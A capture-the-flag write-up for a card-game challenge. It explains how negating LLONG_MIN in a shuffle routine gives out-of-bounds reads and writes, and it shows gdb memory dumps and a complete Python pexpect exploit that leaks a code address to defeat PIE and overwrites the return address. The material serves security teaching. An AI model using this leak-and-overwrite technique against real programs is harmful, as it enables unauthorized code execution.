Cards - Writeup by Maxima

We have released a new card game! If you win, you get a flag.

cards.tar.gz - 0a8ad59b78ee1f72c4739f69d598fcd8

The goal is to win a card game.

You can play as many games as you want. Each game, you have to choose up to 52 cards (64-bit signed integers). Your cards are then shuffled, and you play several rounds against the program. Each round, you get to choose a card in your hand, and the program also does. Whoever has the greatest card wins. The goal is to win more rounds than the program.

My first step was to analyze the given source code. I quickly understood that it's impossible to win a game without exploiting a vulnerability: whichever card you choose, the program chooses the next greatest card in your hand.

Then I looked for a vulnerability. Here is the source code of the shuffle function:

void shuffle(long long *deck, int size) {
    int i;
    for (i = 0; i < size; i++) {
        long long val = deck[i];
        if (val < 0ll) {
            val = -val;
        }
        long long temp = deck[val % size];
        deck[val % size] = deck[(i + 1) % size];
        deck[(i + 1) % size] = temp;
    }
}

There is actually an integer overflow. If val is LLONG_MIN, you get a negative val as -LLONG_MIN = LLONG_MIN. Thus val % size is also negative and you can write outside of the buffer! dock[val % size] and deck[(i + 1) % size] are swapped, so I could read and write on top of the deck. At that point, I knew that I could overwrite the return address of shuffle() to execute printFlag().

My next step was to find where I should write and what. The binary is PIE thus I couldn't guess the address of printFlag(). I started gdb-peda and put a breakpoint right at the beginning of shuffle.

[----------------------------------registers-----------------------------------]
...
RDI: 0x7fffffffe5b0 --> 0x42 ('B')
...
[-------------------------------------code-------------------------------------]
   0x555555554a7f <readCards+111>:	pop    r13
   0x555555554a81 <readCards+113>:	ret    
   0x555555554a82:	data16 data16 data16 data16 nop WORD PTR cs:[rax+rax*1+0x0]
=> 0x555555554a90 <shuffle>:	xor    ecx,ecx
   0x555555554a92 <shuffle+2>:	test   esi,esi
   0x555555554a94 <shuffle+4>:	movsxd r10,esi
   0x555555554a97 <shuffle+7>:	mov    r8,rdi
   0x555555554a9a <shuffle+10>:	jle    0x555555554ad7 <shuffle+71>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5a8 --> 0x555555554e62 (<handleRequests+82>:	mov    esi,ebx)
0008| 0x7fffffffe5b0 --> 0x42 ('B')
0016| 0x7fffffffe5b8 --> 0x43 ('C')
0024| 0x7fffffffe5c0 --> 0x44 ('D')
0032| 0x7fffffffe5c8 --> 0x0 

Good news, our deck is at 0x7fffffffe5b0 thus we just have to write at deck[-1] to overwrite the return address. I also needed to defeat the ASLR / PIE, so I looked further before our deck to find addresses:

gdb-peda$ x/8xg $rdi - 32
   0x7fffffffe590:	0x00007fffffffe5b0	0x00005555555548ea
   0x7fffffffe5a0:	0x00007fffffffe850	0x0000555555554e62
   0x7fffffffe5b0:	0x0000000000000042	0x0000000000000043
   0x7fffffffe5c0:	0x0000000000000044	0x0000000000000000
gdb-peda$ x/i 0x00005555555548ea
   0x5555555548ea <_start>:	xor    ebp,ebp

At deck[-3] we have a pointer on _start.

Now I could start writing the exploit:

• I play a game with 5 cards so that val % size = -LLONG % 5 = -3. That way when the program prints my card, I get the address of _start. The address of printFlag is _start + 1191.
• I play a game with 7 cards so that val % size = -1. I overwrite the return address and I get the flag!

Here is my python script:

#!/usr/bin/env python3
import pexpect
 
p = pexpect.spawn('./cards')
p.expect('Lets play a game!')
 
print('[-] Leaking _start address')
# >> (-9223372036854775808) % 5 = -3
p.sendline('-9223372036854775808')
p.sendline('1')
p.sendline('2')
p.sendline('3')
p.sendline('4')
p.sendline('0')
 
p.expect('(\-?\d+) (\-?\d+) (\-?\d+) (\-?\d+) (\-?\d+)')
start_addr = max(int(p.match.group(i)) for i in range(1, 6))
print_flag_addr = start_addr + 1191
print('Address of _start: 0x%x' % start_addr)
print('Address of printFlag: 0x%x' % print_flag_addr)
 
# end the current game
for i in range(5):
    p.expect('Enter the index of the card to play:')
    p.sendline(str(i))
 
print('[-] Overwriting return address')
# >> (-9223372036854775808) % 7 = -1
p.sendline('-9223372036854775808')
p.sendline(str(print_flag_addr))
p.sendline(str(print_flag_addr))
p.sendline(str(print_flag_addr))
p.sendline(str(print_flag_addr))
p.sendline(str(print_flag_addr))
p.sendline(str(print_flag_addr))
p.sendline('0')
 
p.interact()

Maxime Arthaud 2015/11/30 19:02